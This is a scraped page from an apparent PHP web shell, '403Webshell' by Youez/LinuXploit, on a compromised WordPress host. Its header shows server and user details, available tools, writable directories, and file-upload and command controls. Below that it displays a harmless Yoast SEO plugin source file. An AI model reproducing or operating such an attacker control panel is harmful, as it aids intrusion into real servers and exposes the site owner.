403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.39
Web Server : Apache
System : Linux webm005.cluster102.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : symetry ( 21728)
PHP Version : 8.2.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/symetry/www/wp-content/plugins/wordpress-seo/src/plans/application/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/symetry/www/wp-content/plugins/wordpress-seo/src/plans/application/duplicate-post-manager.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Plans\Application;

use WPSEO_Admin_Utils;

/**
 * The Yoast SEO Duplicate Post plugin Manager.
 */
class Duplicate_Post_Manager {
	/**
	 * The Duplicate post main file.
	 *
	 * @var string
	 */
	public const PLUGIN_FILE = 'duplicate-post/duplicate-post.php';

	/**
	 * Checks if the plugin is installed and activated in WordPress.
	 *
	 * @return bool True when installed and activated.
	 */
	protected function is_activated() {
		return \is_plugin_active( self::PLUGIN_FILE );
	}

	/**
	 * Checks if the plugin is installed in WordPress.
	 *
	 * @return bool True when installed.
	 */
	protected function is_installed() {
		return \file_exists( \WP_PLUGIN_DIR . '/' . self::PLUGIN_FILE );
	}

	/**
	 * Gets the duplicate post plans page params
	 *
	 * @return array<string|bool> The list of params.
	 */
	public function get_params() {
		return [
			'isInstalled'     => $this->is_installed(),
			'isActivated'     => $this->is_activated(),
			'installationUrl' => \html_entity_decode( WPSEO_Admin_Utils::get_install_url( self::PLUGIN_FILE ) ),
			'activationUrl'   => \html_entity_decode( WPSEO_Admin_Utils::get_activation_url( self::PLUGIN_FILE ) ),
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit